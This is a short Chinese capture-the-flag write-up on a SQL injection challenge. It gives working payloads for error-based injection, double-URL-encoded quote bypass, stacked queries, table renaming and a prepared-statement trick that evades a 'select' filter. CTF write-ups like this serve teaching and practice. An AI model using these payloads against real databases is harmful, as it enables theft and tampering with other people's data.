0x01 考点关键词

SQL注入、堆叠注入、预编译

0x02 分析

sqlmap 没跑出来,过滤了 select,双重 url 编码 ' 才有反应,那就好办了:

首先用报错注入得知数据库名

?id=1%2527 or extractvalue(1, concat(0x7e, database()))--+

进一步查询表名

?id=1%2527;use security;show tables;--+
?id=1%2527;use security;show columns from `uziuzi`;--+

做到这里就感觉有点像2019强网杯那道sql注入题,如果没有过滤alter和rename关键字,这时候我们就可以已下面的骚姿势进行注入:

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
 
rename命令用于修改表名。
rename命令格式:rename table 原表名 to 新表名;

把含flag的表名改为显示表(并改id),这时候 or 1=1# 就可以爆出 flag

但是这题不能修改表,所以采用预编译的方法读flag(还是注意过滤了 select 和 ' 双重编码):

?id=1%2527;sEt @sql = CONCAT(%2527sele%2527,%2527ct * from `uziuzi`;%2527);prepArE lola from @sql;EXECUTE lola;#

0x03 总结

过去写过一篇sql总结:传送门


本网站博主